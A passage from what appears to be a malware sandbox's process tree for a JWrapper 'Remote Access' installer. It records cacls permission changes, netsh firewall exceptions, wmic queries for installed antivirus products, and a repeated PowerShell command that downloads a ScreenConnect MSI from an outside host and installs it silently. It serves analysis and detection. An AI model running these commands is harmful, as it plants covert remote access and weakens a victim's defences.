  PID:2652
- C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\bin\unpack200.exe
  "C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\bin\unpack200.exe" "C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\lib\ext\sunmscapi.jar.p2" "C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\lib\ext\sunmscapi.jar"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:3376
- C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\bin\unpack200.exe
  "C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\bin\unpack200.exe" "C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\lib\jsse.jar.p2" "C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\lib\jsse.jar"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1504
- C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\bin\unpack200.exe
  "C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\bin\unpack200.exe" "C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\lib\rt.jar.p2" "C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\lib\rt.jar"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:5328
- C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\bin\windowslauncher.exe
  "C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199809-5-app\bin\windowslauncher.exe" "-Xshare:dump"
  2⤵
  - Executes dropped EXE
  PID:5720
- C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\bin\unpack200.exe
  "C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\bin\unpack200.exe" "C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199807-4-app\customer.jar.p2" "C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199807-4-app\customer.jar"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4172
- C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\bin\unpack200.exe
  "C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\bin\unpack200.exe" "C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199807-4-app\jwrapper_utils.jar.p2" "C:\ProgramData\JWrapper-Remote Access\JWrapperTemp-1778199807-4-app\jwrapper_utils.jar"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4080
- C:\Windows\SYSTEM32\cacls.exe
  cacls "C:\ProgramData\JWrapper-Remote Access\JWAppsSharedConfig\LastProxy" /e /g "Users":F
  2⤵
  PID:3240
- C:\Windows\SYSTEM32\cacls.exe
  cacls "C:\ProgramData\JWrapper-Remote Access\JWApps\Remote_Access_ConfigureICO.ico" /e /g "Users":F
  2⤵
  PID:5808
- C:\Windows\SYSTEM32\cacls.exe
  cacls "C:\ProgramData\JWrapper-Remote Access\JWApps\JWrapper-Remote Access-UninstallerICO.ico" /e /g "Users":F
  2⤵
  PID:3864
- C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\bin\Remote AccessLauncher.exe
  "C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\bin\Remote AccessLauncher.exe" -cp "C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\customer.jar;C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\jwrapper_utils.jar" -Xmx256m -XX:MinHeapFreeRatio=15 -XX:MaxHeapFreeRatio=30 -XX:MaxGCPauseMillis=500 -Djava.util.Arrays.useLegacyMergeSort=true -Djava.net.preferIPv4Stack=true -Dapple.awt.UIElement=true -Xrs -Dsun.java2d.dpiaware=true -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2 jwrapper.JWrapper "C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\JWLaunchProperties-1778199817636-54"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:3312
- - C:\Windows\SYSTEM32\cacls.exe
    cacls "C:\ProgramData\JWrapper-Remote Access\JWApps\JRE-LastSuccessfulOptions-JWrapper-Windows64JRE-00052234686-complete" /e /g "Users":F
    3⤵
    PID:5460
- C:\Windows\SYSTEM32\cacls.exe
  cacls "C:\ProgramData\JWrapper-Remote Access\JWApps\ChosenLanguage" /e /g "Users":F
  2⤵
  PID:4412
- C:\Windows\SYSTEM32\cacls.exe
  cacls "C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\jwLastRun" /e /g "Users":F
  2⤵
  PID:5956
- C:\Windows\SYSTEM32\cacls.exe
  cacls "C:\ProgramData\JWrapper-Remote Access\JWrapper-JWrapper-00052861018-complete\jwLastRun" /e /g "Users":F
  2⤵
  PID:1824
- C:\Windows\SYSTEM32\cacls.exe
  cacls "C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\jwLastRun" /e /g "Users":F
  2⤵
  PID:5684
- C:\Windows\SYSTEM32\cacls.exe
  cacls "C:\ProgramData\JWrapper-Remote Access" /e /g "Users":F
  2⤵
  PID:436
- C:\Windows\SYSTEM32\cacls.exe
  cacls "C:\ProgramData\JWrapper-Remote Access\JWApps" /e /g "Users":F
  2⤵
  PID:4864
- C:\Windows\SYSTEM32\cacls.exe
  cacls "C:\ProgramData\JWrapper-Remote Access\JWAppsSharedConfig" /e /g "Users":F
  2⤵
  PID:5896
- C:\Windows\SYSTEM32\cacls.exe
  cacls "C:\ProgramData\JWrapper-Remote Access\JWrapper-JWrapper-00052861018-complete" /e /g "Users":F
  2⤵
  PID:5096
- C:\Windows\SYSTEM32\cacls.exe
  cacls "C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete" /e /g "Users":F
  2⤵
  PID:5916
- C:\Windows\SYSTEM32\cacls.exe
  cacls "C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete" /e /g "Users":F
  2⤵
  PID:1552
- C:\Windows\SYSTEM32\cacls.exe
  cacls "C:\ProgramData\JWrapper-Remote Access\logs" /e /g "Users":F
  2⤵
  PID:5680
- C:\Windows\SYSTEM32\cacls.exe
  cacls "C:\ProgramData\JWrapper-Remote Access\Remote AccessWinLauncher.exe" /e /g "Users":F
  2⤵
  PID:5072
- C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\bin\Remote Access.exe
  "C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\bin\Remote Access.exe" -cp "C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\customer.jar;C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\jwrapper_utils.jar" -Xmx256m -XX:MinHeapFreeRatio=15 -XX:MaxHeapFreeRatio=30 -XX:MaxGCPauseMillis=500 -Djava.util.Arrays.useLegacyMergeSort=true -Djava.net.preferIPv4Stack=true -Dapple.awt.UIElement=true -Xrs -Dsun.java2d.dpiaware=true -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2 jwrapper.JWrapper "C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\JWLaunchProperties-1778199819199-55"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:3020
- - C:\Windows\SYSTEM32\cacls.exe
    cacls "C:\ProgramData\JWrapper-Remote Access\JWApps\JRE-LastSuccessfulOptions-JWrapper-Windows64JRE-00052234686-complete" /e /g "Users":F
    3⤵
    PID:2188
- - C:\Windows\SYSTEM32\cacls.exe
    cacls "C:\ProgramData\JWrapper-Remote Access\JWAppsSharedConfig\serviceconfig.xml" /e /p "Users":R
    3⤵
    PID:5624
- - C:\Windows\SYSTEM32\cacls.exe
    cacls "C:\ProgramData\JWrapper-Remote Access\JWAppsSharedConfig\SimpleGatewayService" /t /e /g "Users":F
    3⤵
    PID:5872
- - C:\Windows\SYSTEM32\cacls.exe
    cacls "C:\ProgramData\JWrapper-Remote Access\JWAppsSharedConfig\SimpleGatewayService\SimpleGatewayService.exe" /t /e /g "Users":F
    3⤵
    PID:3848
- - C:\Windows\SYSTEM32\cacls.exe
    cacls "C:\ProgramData\JWrapper-Remote Access\JWAppsSharedConfig\SimpleGatewayService\SimpleGatewayService.exe" /t /e /p "Users":R
    3⤵
    PID:2592
- - C:\Windows\SYSTEM32\cacls.exe
    cacls "C:\ProgramData\JWrapper-Remote Access\JWAppsSharedConfig\SimpleGatewayService\StopSimpleGatewayService.exe" /t /e /g "Users":F
    3⤵
    PID:1744
- - C:\Windows\SYSTEM32\cacls.exe
    cacls "C:\ProgramData\JWrapper-Remote Access\JWAppsSharedConfig\SimpleGatewayService\StopSimpleGatewayService.exe" /t /e /p "Users":R
    3⤵
    PID:6072
- - C:\Windows\SYSTEM32\cacls.exe
    cacls "C:\ProgramData\JWrapper-Remote Access\JWAppsSharedConfig\SimpleService.exe" /e /p "Users":R
    3⤵
    PID:3784
- - C:\ProgramData\JWrapper-Remote Access\JWAppsSharedConfig\SimpleService.exe
    "C:\ProgramData\JWrapper-Remote Access\JWAppsSharedConfig\SimpleService.exe" -uninstall "C:\ProgramData\JWrapper-Remote Access\JWAppsSharedConfig\SimpleGatewayService\simplegateway.service"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3480
- - C:\ProgramData\JWrapper-Remote Access\JWAppsSharedConfig\SimpleService.exe
    "C:\ProgramData\JWrapper-Remote Access\JWAppsSharedConfig\SimpleService.exe" -install "C:\ProgramData\JWrapper-Remote Access\JWAppsSharedConfig\SimpleGatewayService\simplegateway.service"
    3⤵
    - Executes dropped EXE
    PID:5308

C:\ProgramData\JWrapper-Remote Access\JWAppsSharedConfig\SimpleService.exe
"C:\ProgramData\JWrapper-Remote Access\JWAppsSharedConfig\SimpleService.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4352
- C:\ProgramData\JWrapper-Remote Access\JWAppsSharedConfig\SimpleGatewayService\SimpleGatewayService.exe
  "C:\ProgramData\JWrapper-Remote Access\JWAppsSharedConfig\SimpleGatewayService\SimpleGatewayService.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:704
- - C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\bin\Remote Access.exe
    "C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\bin\Remote Access.exe" "-Xmx256m" "-XX:MinHeapFreeRatio=15" "-XX:MaxHeapFreeRatio=30" "-XX:MaxGCPauseMillis=500" "-Djava.util.Arrays.useLegacyMergeSort=true" "-Djava.net.preferIPv4Stack=true" "-Dapple.awt.UIElement=true" "-Xrs" "-Dsun.java2d.dpiaware=true" "-Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2" "-cp" "C:\ProgramData\JWrapper-Remote Access\JWrapper-JWrapper-00052861018-complete\jwrapperlib\jwstandalonelaunch.jar" "jwrapper.updater.GenericUpdaterLaunch" "C:\ProgramData\JWrapper-Remote Access\JWrapper-JWrapper-00052861018-complete\JWLaunchProperties-83360530-22"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:5772
  - - C:\Windows\SYSTEM32\cacls.exe
      cacls "C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\jwLastRun" /e /g "Users":F
      4⤵
      PID:728
  - - C:\Windows\SYSTEM32\cacls.exe
      cacls "C:\ProgramData\JWrapper-Remote Access\JWrapper-JWrapper-00052861018-complete\jwLastRun" /e /g "Users":F
      4⤵
      PID:896
  - - C:\Windows\SYSTEM32\cacls.exe
      cacls "C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\jwLastRun" /e /g "Users":F
      4⤵
      PID:4944
  - - C:\Windows\SYSTEM32\cacls.exe
      cacls "C:\ProgramData\JWrapper-Remote Access\JWApps\JRE-LastSuccessfulOptions-JWrapper-Windows64JRE-00052234686-complete" /e /g "Users":F
      4⤵
      PID:4048
  - - C:\Windows\SYSTEM32\netsh.exe
      netsh.exe firewall add allowedprogram "C:\ProgramData\JWrapper-Remote Access\JWAppsSharedConfig\SimpleGatewayService\SimpleGatewayService.exe" "SHRemoteAccessServiceSH_3_1" ENABLE
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:4576
  - - C:\Windows\SYSTEM32\netsh.exe
      netsh.exe firewall add allowedprogram "C:\ProgramData\JWrapper-Remote Access\JWAppsSharedConfig\SimpleGatewayService\StopSimpleGatewayService.exe" "SHRemoteAccessServiceSH_3_2" ENABLE
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:1992
  - - C:\Windows\SYSTEM32\netsh.exe
      netsh.exe firewall add allowedprogram "C:\ProgramData\JWrapper-Remote Access\Remote AccessWinLauncher.exe" "SHRemoteAccessServiceMA_1" ENABLE
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:2972
  - - C:\Windows\SYSTEM32\netsh.exe
      netsh.exe firewall add allowedprogram "C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\bin\java-rmi.exe" "SHRemoteAccessServiceJE_1" ENABLE
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:4356
  - - C:\Windows\SYSTEM32\netsh.exe
      netsh.exe firewall add allowedprogram "C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\bin\java.exe" "SHRemoteAccessServiceJE_2" ENABLE
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:5212
  - - C:\Windows\SYSTEM32\netsh.exe
      netsh.exe firewall add allowedprogram "C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\bin\javaw.exe" "SHRemoteAccessServiceJE_3" ENABLE
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:3740
  - - C:\Windows\SYSTEM32\netsh.exe
      netsh.exe firewall add allowedprogram "C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\bin\Remote Access.exe" "SHRemoteAccessServiceJE_4" ENABLE
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:6028
  - - C:\Windows\SYSTEM32\netsh.exe
      netsh.exe firewall add allowedprogram "C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\bin\Remote AccessLauncher.exe" "SHRemoteAccessServiceJE_5" ENABLE
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:6024
  - - C:\Windows\SYSTEM32\netsh.exe
      netsh.exe firewall add allowedprogram "C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\bin\windowslauncher.exe" "SHRemoteAccessServiceJE_6" ENABLE
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:3704
  - - C:\Windows\SYSTEM32\cacls.exe
      cacls "C:\ProgramData\JWrapper-Remote Access\JWAppsSharedConfig\serviceid.lock" /t /e /g "Users":f
      4⤵
      PID:5672
  - - C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\session_win.exe
      "C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\session_win.exe" "C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\bin\Remote Access Monitoring.exe" -cp "C:\ProgramData\JWrapper-Remote Access\JWrapper-JWrapper-00052861018-complete\jwrapperlib/jwstandalonelaunch.jar" -Xmx256m -XX:MinHeapFreeRatio=15 -XX:MaxHeapFreeRatio=30 -XX:MaxGCPauseMillis=500 -Djava.util.Arrays.useLegacyMergeSort=true -Djava.net.preferIPv4Stack=true -Dapple.awt.UIElement=true -Xrs -Dsun.java2d.dpiaware=true -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2 jwrapper.updater.GenericUpdaterLaunch "C:\ProgramData\JWrapper-Remote Access\JWrapper-JWrapper-00052861018-complete\JWLaunchProperties-1778199826005-20"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:4996
    - - C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\bin\Remote Access Monitoring.exe
        
        "C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\bin\Remote Access Monitoring.exe" "-cp" "C:\ProgramData\JWrapper-Remote Access\JWrapper-JWrapper-00052861018-complete\jwrapperlib/jwstandalonelaunch.jar" "-Xmx256m" "-XX:MinHeapFreeRatio=15" "-XX:MaxHeapFreeRatio=30" "-XX:MaxGCPauseMillis=500" "-Djava.util.Arrays.useLegacyMergeSort=true" "-Djava.net.preferIPv4Stack=true" "-Dapple.awt.UIElement=true" "-Xrs" "-Dsun.java2d.dpiaware=true" "-Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2" "jwrapper.updater.GenericUpdaterLaunch" "C:\ProgramData\JWrapper-Remote Access\JWrapper-JWrapper-00052861018-complete\JWLaunchProperties-1778199826005-20"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:4900
      - C:\Windows\SYSTEM32\cacls.exe
        
        cacls "C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\jwLastRun" /e /g "Users":F
        6⤵
        
        PID:812
      - C:\Windows\SYSTEM32\cacls.exe
        
        cacls "C:\ProgramData\JWrapper-Remote Access\JWrapper-JWrapper-00052861018-complete\jwLastRun" /e /g "Users":F
        6⤵
        
        PID:4896
      - C:\Windows\SYSTEM32\cacls.exe
        
        cacls "C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\jwLastRun" /e /g "Users":F
        6⤵
        
        PID:4524
      - C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\session_win.exe
        
        "C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\session_win.exe" "C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\bin\Remote Access.exe" -cp "C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\customer.jar;C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\jwrapper_utils.jar" -Xmx256m -XX:MinHeapFreeRatio=15 -XX:MaxHeapFreeRatio=30 -XX:MaxGCPauseMillis=500 -Djava.util.Arrays.useLegacyMergeSort=true -Djava.net.preferIPv4Stack=true -Dapple.awt.UIElement=true -Xrs -Dsun.java2d.dpiaware=true -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2 jwrapper.JWrapper "C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\JWLaunchProperties-1778199827937-56"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4476
        
        C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\bin\Remote Access.exe
        
        "C:\ProgramData\JWrapper-Remote Access\JWrapper-Windows64JRE-00052234686-complete\bin\Remote Access.exe" "-cp" "C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\customer.jar;C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\jwrapper_utils.jar" "-Xmx256m" "-XX:MinHeapFreeRatio=15" "-XX:MaxHeapFreeRatio=30" "-XX:MaxGCPauseMillis=500" "-Djava.util.Arrays.useLegacyMergeSort=true" "-Djava.net.preferIPv4Stack=true" "-Dapple.awt.UIElement=true" "-Xrs" "-Dsun.java2d.dpiaware=true" "-Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2" "jwrapper.JWrapper" "C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\JWLaunchProperties-1778199827937-56"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4640
        
        C:\Windows\SYSTEM32\cacls.exe
        
        cacls "C:\ProgramData\JWrapper-Remote Access\JWApps\JRE-LastSuccessfulOptions-JWrapper-Windows64JRE-00052234686-complete" /e /g "Users":F
        8⤵
        
        PID:3480
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "Invoke-WebRequest 'https://connect.nexusa.co/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest&c=new&c=&c=&c=&c=&c=&c=&c=' -OutFile sc.msi; Start-Process msiexec -ArgumentList '/i sc.msi /qn /norestart' -Wait"
        8⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1184
        
        C:\Windows\system32\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i sc.msi /qn /norestart
        9⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4808
        
        C:\Windows\SYSTEM32\netsh.exe
        
        netsh wlan show interfaces
        8⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:1920
        
        C:\Windows\SYSTEM32\netsh.exe
        
        netsh wlan show interfaces
        8⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:3496
        
        C:\Windows\SYSTEM32\netsh.exe
        
        netsh wlan show interfaces
        8⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:4184
        
        C:\Windows\SYSTEM32\netsh.exe
        
        netsh wlan show interfaces
        8⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:5460
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "Invoke-WebRequest 'https://connect.nexusa.co/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest&c=new&c=&c=&c=&c=&c=&c=&c=' -OutFile sc.msi; Start-Process msiexec -ArgumentList '/i sc.msi /qn /norestart' -Wait"
        8⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        
        PID:5996
        
        C:\Windows\system32\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i sc.msi /qn /norestart
        9⤵
        
        PID:4324
        
        C:\Windows\SYSTEM32\netsh.exe
        
        netsh wlan show interfaces
        8⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:4768
        
        C:\Windows\SYSTEM32\netsh.exe
        
        netsh wlan show interfaces
        8⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:2892
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "Invoke-WebRequest 'https://connect.nexusa.co/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest&c=new&c=&c=&c=&c=&c=&c=&c=' -OutFile sc.msi; Start-Process msiexec -ArgumentList '/i sc.msi /qn /norestart' -Wait"
        8⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        
        PID:1744
        
        C:\Windows\system32\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i sc.msi /qn /norestart
        9⤵
        
        PID:1052
        
        C:\Windows\System32\Wbem\wmic.exe
        
        wmic.exe /namespace:\\root\SecurityCenter2 PATH AntiVirusProduct get
        8⤵
        
        PID:1944
        
        C:\Windows\System32\Wbem\wmic.exe
        
        wmic.exe /namespace:\\root\SecurityCenter2 PATH AntiSpywareProduct get
        8⤵
        
        PID:2444
        
        C:\Windows\System32\Wbem\wmic.exe
        
        wmic.exe /namespace:\\root\SecurityCenter2 PATH FirewallProduct get
        8⤵
        
        PID:4000
        
        C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c netsh advfirewall show all State
        8⤵
        
        PID:3324
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall show all State
        9⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:1032
        
        C:\Windows\SYSTEM32\netsh.exe
        
        netsh wlan show interfaces
        8⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:3596
        
        C:\Windows\SYSTEM32\netsh.exe
        
        netsh wlan show interfaces
        8⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:3420
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "Invoke-WebRequest 'https://connect.nexusa.co/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest&c=new&c=&c=&c=&c=&c=&c=&c=' -OutFile sc.msi; Start-Process msiexec -ArgumentList '/i sc.msi /qn /norestart' -Wait"
        8⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        
        PID:3884
        
        C:\Windows\system32\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i sc.msi /qn /norestart
        9⤵
        
        PID:116
        
        C:\Windows\SYSTEM32\netsh.exe
        
        netsh wlan show interfaces
        8⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:3204
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "Invoke-WebRequest 'https://connect.nexusa.co/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest&c=new&c=&c=&c=&c=&c=&c=&c=' -OutFile sc.msi; Start-Process msiexec -ArgumentList '/i sc.msi /qn /norestart' -Wait"
        8⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        
        PID:3456
        
        C:\Windows\system32\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i sc.msi /qn /norestart
        9⤵
        
        PID:4676
        
        C:\Windows\SYSTEM32\netsh.exe
        
        netsh wlan show interfaces
        8⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:3976
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "Invoke-WebRequest 'https://connect.nexusa.co/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest&c=new&c=&c=&c=&c=&c=&c=&c=' -OutFile sc.msi; Start-Process msiexec -ArgumentList '/i sc.msi /qn /norestart' -Wait"
        8⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        
        PID:4144
  - - C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\session_win.exe
      "C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\session_win.exe" --slWaitForCompletion "C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\elev_win.exe" --mouselocation
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:5212
    - - C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\elev_win.exe
        
        "C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\elev_win.exe" "--mouselocation"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5776
  - - C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\session_win.exe
      "C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\session_win.exe" --slWaitForCompletion "C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\elev_win.exe" --mouselocation
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:5796
    - - C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\elev_win.exe
        
        "C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\elev_win.exe" "--mouselocation"
        5⤵
        Executes dropped EXE
        
        PID:5972
  - - C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\session_win.exe
      "C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\session_win.exe" --slWaitForCompletion "C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\elev_win.exe" --mouselocation
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:3712
    - - C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\elev_win.exe
        
        "C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access-00052861074-complete\elev_win.exe" "--mouselocation"
        5⤵
        Executes dropped EXE
        
        PID:3524

C:\Windows\system32\wbem\WmiApSrv.exe
